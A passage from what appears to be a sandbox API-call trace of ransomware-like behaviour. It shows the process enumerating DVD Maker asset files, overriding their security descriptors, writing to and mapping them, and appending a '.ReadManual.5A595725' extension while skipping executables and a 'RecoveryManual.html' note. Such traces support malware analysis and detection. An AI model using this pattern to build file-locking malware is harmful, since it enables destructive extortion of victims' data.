returned 0x0 [0254.360] SetNamedSecurityInfoW () returned 0x0 [0254.361] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0254.361] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=4955) returned 1 [0254.361] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x135b, lpName=0x0) returned 0x1a0 [0254.361] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xf2) returned 1 [0254.362] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.362] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0254.364] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0254.364] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x135b) returned 0x2f0000 [0254.364] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0254.364] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37503292594) returned 1 [0254.364] CloseHandle (hObject=0x1a0) returned 1 [0254.364] SetSecurityInfo () returned 0x5 [0254.364] SetSecurityInfo () returned 0x5 [0254.364] LocalFree (hMem=0x674d38) returned 0x0 [0254.364] CloseHandle (hObject=0x184) returned 1 [0254.365] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x707ea2e3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x707ea2e3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efc9a7d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0254.365] lstrcpyW (in: lpString1=0x6ab91a, lpString2="NavigationUp_SelectionSubpicture.png" | out: lpString1="NavigationUp_SelectionSubpicture.png") returned="NavigationUp_SelectionSubpicture.png" [0254.365] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="RecoveryManual.html") returned -1 [0254.365] StrStrIW (lpFirst="NavigationUp_SelectionSubpicture.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0254.365] StrCmpIW (psz1="png", psz2="exe") returned 1 [0254.365] StrCmpIW (psz1="png", psz2="dll") returned 1 [0254.365] StrCmpIW (psz1="png", psz2="sys") returned -1 [0254.365] StrCmpIW (psz1="png", psz2="msi") returned 1 [0254.365] StrCmpIW (psz1="png", psz2="mui") returned 1 [0254.365] StrCmpIW (psz1="png", psz2="inf") returned 1 [0254.365] StrCmpIW (psz1="png", psz2="cat") returned 1 [0254.365] StrCmpIW (psz1="png", psz2="bat") returned 1 [0254.365] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0254.365] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0254.365] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0254.365] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0254.365] StrCmpIW (psz1="png", psz2="fon") returned 1 [0254.365] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0254.365] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_SelectionSubpicture.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_SelectionSubpicture.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_SelectionSubpicture.png" [0254.365] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_SelectionSubpicture.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_SelectionSubpicture.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_SelectionSubpicture.png.ReadManual.5A595725" [0254.365] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_SelectionSubpicture.png.ReadManual.5A595725") returned 119 [0254.365] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37503394341) returned 1 [0254.365] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationup_selectionsubpicture.png")) returned 0x20 [0254.366] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.366] GetLastError () returned 0x5 [0254.366] GetNamedSecurityInfoW () returned 0x0 [0254.366] SetNamedSecurityInfoW () returned 0x0 [0254.366] SetNamedSecurityInfoW () returned 0x0 [0254.367] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0254.367] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=3081) returned 1 [0254.367] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc09, lpName=0x0) returned 0x1a0 [0254.367] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xfe) returned 1 [0254.368] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.368] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0254.369] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0254.370] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc09) returned 0x2f0000 [0254.370] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0254.370] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37503855967) returned 1 [0254.370] CloseHandle (hObject=0x1a0) returned 1 [0254.370] SetSecurityInfo () returned 0x5 [0254.370] SetSecurityInfo () returned 0x5 [0254.370] LocalFree (hMem=0x674d38) returned 0x0 [0254.370] CloseHandle (hObject=0x184) returned 1 [0254.371] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70940f28, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70940f28, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efc9a7d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x84ca6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Panel_Mask.wmv", cAlternateFileName="")) returned 1 [0254.371] lstrcpyW (in: lpString1=0x6ab91a, lpString2="Panel_Mask.wmv" | out: lpString1="Panel_Mask.wmv") returned="Panel_Mask.wmv" [0254.371] lstrcmpiW (lpString1="Panel_Mask.wmv", lpString2="RecoveryManual.html") returned -1 [0254.371] StrStrIW (lpFirst="Panel_Mask.wmv", lpSrch=".ReadManual.5A595725") returned 0x0 [0254.371] StrCmpIW (psz1="wmv", psz2="exe") returned 1 [0254.371] StrCmpIW (psz1="wmv", psz2="dll") returned 1 [0254.371] StrCmpIW (psz1="wmv", psz2="sys") returned 1 [0254.371] StrCmpIW (psz1="wmv", psz2="msi") returned 1 [0254.371] StrCmpIW (psz1="wmv", psz2="mui") returned 1 [0254.371] StrCmpIW (psz1="wmv", psz2="inf") returned 1 [0254.371] StrCmpIW (psz1="wmv", psz2="cat") returned 1 [0254.371] StrCmpIW (psz1="wmv", psz2="bat") returned 1 [0254.371] StrCmpIW (psz1="wmv", psz2="cmd") returned 1 [0254.371] StrCmpIW (psz1="wmv", psz2="ps1") returned 1 [0254.371] StrCmpIW (psz1="wmv", psz2="vbs") returned 1 [0254.371] StrCmpIW (psz1="wmv", psz2="ttf") returned 1 [0254.371] StrCmpIW (psz1="wmv", psz2="fon") returned 1 [0254.371] StrCmpIW (psz1="wmv", psz2="lnk") returned 1 [0254.371] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask.wmv" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask.wmv") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask.wmv" [0254.371] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask.wmv", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask.wmv.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask.wmv.ReadManual.5A595725" [0254.371] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask.wmv.ReadManual.5A595725") returned 97 [0254.371] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37504022056) returned 1 [0254.372] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\panel_mask.wmv")) returned 0x20 [0254.372] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\panel_mask.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.372] GetLastError () returned 0x5 [0254.372] GetNamedSecurityInfoW () returned 0x0 [0254.372] SetNamedSecurityInfoW () returned 0x0 [0254.372] SetNamedSecurityInfoW () returned 0x0 [0254.373] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\panel_mask.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0254.373] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=543910) returned 1 [0254.373] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x84ca6, lpName=0x0) returned 0x1a0 [0254.373] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd2) returned 1 [0254.374] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.374] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0254.376] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0254.376] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x84ca6) returned 0x2690000 [0254.392] UnmapViewOfFile (lpBaseAddress=0x2690000) returned 1 [0254.392] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37506103818) returned 1 [0254.392] CloseHandle (hObject=0x1a0) returned 1 [0254.392] SetSecurityInfo () returned 0x5 [0254.392] SetSecurityInfo () returned 0x5 [0254.392] LocalFree (hMem=0x674d38) returned 0x0 [0254.393] CloseHandle (hObject=0x184) returned 1 [0254.393] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x709b333f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x709b333f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f0d440f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x84702, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Panel_Mask_PAL.wmv", cAlternateFileName="")) returned 1 [0254.393] lstrcpyW (in: lpString1=0x6ab91a, lpString2="Panel_Mask_PAL.wmv" | out: lpString1="Panel_Mask_PAL.wmv") returned="Panel_Mask_PAL.wmv" [0254.393] lstrcmpiW (lpString1="Panel_Mask_PAL.wmv", lpString2="RecoveryManual.html") returned -1 [0254.393] StrStrIW (lpFirst="Panel_Mask_PAL.wmv", lpSrch=".ReadManual.5A595725") returned 0x0 [0254.393] StrCmpIW (psz1="wmv", psz2="exe") returned 1 [0254.393] StrCmpIW (psz1="wmv", psz2="dll") returned 1 [0254.393] StrCmpIW (psz1="wmv", psz2="sys") returned 1 [0254.393] StrCmpIW (psz1="wmv", psz2="msi") returned 1 [0254.393] StrCmpIW (psz1="wmv", psz2="mui") returned 1 [0254.393] StrCmpIW (psz1="wmv", psz2="inf") returned 1 [0254.393] StrCmpIW (psz1="wmv", psz2="cat") returned 1 [0254.393] StrCmpIW (psz1="wmv", psz2="bat") returned 1 [0254.393] StrCmpIW (psz1="wmv", psz2="cmd") returned 1 [0254.393] StrCmpIW (psz1="wmv", psz2="ps1") returned 1 [0254.393] StrCmpIW (psz1="wmv", psz2="vbs") returned 1 [0254.393] StrCmpIW (psz1="wmv", psz2="ttf") returned 1 [0254.393] StrCmpIW (psz1="wmv", psz2="fon") returned 1 [0254.393] StrCmpIW (psz1="wmv", psz2="lnk") returned 1 [0254.393] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask_PAL.wmv" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask_PAL.wmv") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask_PAL.wmv" [0254.393] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask_PAL.wmv", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask_PAL.wmv.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask_PAL.wmv.ReadManual.5A595725" [0254.393] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask_PAL.wmv.ReadManual.5A595725") returned 101 [0254.393] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37506212371) returned 1 [0254.393] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\panel_mask_pal.wmv")) returned 0x20 [0254.394] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\panel_mask_pal.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.394] GetLastError () returned 0x5 [0254.394] GetNamedSecurityInfoW () returned 0x0 [0254.394] SetNamedSecurityInfoW () returned 0x0 [0254.394] SetNamedSecurityInfoW () returned 0x0 [0254.395] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\panel_mask_pal.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0254.395] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=542466) returned 1 [0254.395] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x84702, lpName=0x0) returned 0x1a0 [0254.395] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xda) returned 1 [0254.396] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.396] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0254.398] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0254.398] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x84702) returned 0x2690000 [0254.415] UnmapViewOfFile (lpBaseAddress=0x2690000) returned 1 [0254.416] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37508467021) returned 1 [0254.416] CloseHandle (hObject=0x1a0) returned 1 [0254.416] SetSecurityInfo () returned 0x5 [0254.416] SetSecurityInfo () returned 0x5 [0254.416] LocalFree (hMem=0x674d38) returned 0x0 [0254.416] CloseHandle (hObject=0x184) returned 1 [0254.422] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x709b333f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x709b333f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f0d440f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x84702, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Panel_Mask_PAL.wmv", cAlternateFileName="")) returned 0 [0254.422] FindClose (in: hFindFile=0x6bff40 | out: hFindFile=0x6bff40) returned 1 [0254.422] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e91e8b0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e91e8b0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="scene_button_style_default_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0254.422] lstrcpyW (in: lpString1=0x6ab8fc, lpString2="scene_button_style_default_Thumbnail.bmp" | out: lpString1="scene_button_style_default_Thumbnail.bmp") returned="scene_button_style_default_Thumbnail.bmp" [0254.422] lstrcmpiW (lpString1="scene_button_style_default_Thumbnail.bmp", lpString2="RecoveryManual.html") returned 1 [0254.422] StrStrIW (lpFirst="scene_button_style_default_Thumbnail.bmp", lpSrch=".ReadManual.5A595725") returned 0x0 [0254.422] StrCmpIW (psz1="bmp", psz2="exe") returned -1 [0254.422] StrCmpIW (psz1="bmp", psz2="dll") returned -1 [0254.422] StrCmpIW (psz1="bmp", psz2="sys") returned -1 [0254.423] StrCmpIW (psz1="bmp", psz2="msi") returned -1 [0254.423] StrCmpIW (psz1="bmp", psz2="mui") returned -1 [0254.423] StrCmpIW (psz1="bmp", psz2="inf") returned -1 [0254.423] StrCmpIW (psz1="bmp", psz2="cat") returned -1 [0254.423] StrCmpIW (psz1="bmp", psz2="bat") returned 1 [0254.423] StrCmpIW (psz1="bmp", psz2="cmd") returned -1 [0254.423] StrCmpIW (psz1="bmp", psz2="ps1") returned -1 [0254.423] StrCmpIW (psz1="bmp", psz2="vbs") returned -1 [0254.423] StrCmpIW (psz1="bmp", psz2="ttf") returned -1 [0254.423] StrCmpIW (psz1="bmp", psz2="fon") returned -1 [0254.423] StrCmpIW (psz1="bmp", psz2="lnk") returned -1 [0254.423] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\scene_button_style_default_Thumbnail.bmp" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\scene_button_style_default_Thumbnail.bmp") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\scene_button_style_default_Thumbnail.bmp" [0254.423] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\scene_button_style_default_Thumbnail.bmp", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\scene_button_style_default_Thumbnail.bmp.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\scene_button_style_default_Thumbnail.bmp.ReadManual.5A595725" [0254.423] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\scene_button_style_default_Thumbnail.bmp.ReadManual.5A595725") returned 108 [0254.423] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37509169354) returned 1 [0254.423] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\scene_button_style_default_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\scene_button_style_default_thumbnail.bmp")) returned 0x20 [0254.423] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\scene_button_style_default_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\scene_button_style_default_thumbnail.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.423] GetLastError () returned 0x5 [0254.423] GetNamedSecurityInfoW () returned 0x0 [0254.424] SetNamedSecurityInfoW () returned 0x0 [0254.425] SetNamedSecurityInfoW () returned 0x0 [0254.426] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\scene_button_style_default_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\scene_button_style_default_thumbnail.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0254.426] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5072) returned 1 [0254.426] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13d0, lpName=0x0) returned 0x184 [0254.426] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xe8) returned 1 [0254.427] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.427] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0254.429] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0254.429] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13d0) returned 0x2f0000 [0254.429] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0254.429] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37509817519) returned 1 [0254.429] CloseHandle (hObject=0x184) returned 1 [0254.430] SetSecurityInfo () returned 0x5 [0254.430] SetSecurityInfo () returned 0x5 [0254.430] LocalFree (hMem=0x674d38) returned 0x0 [0254.430] CloseHandle (hObject=0x194) returned 1 [0254.433] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\" | out: 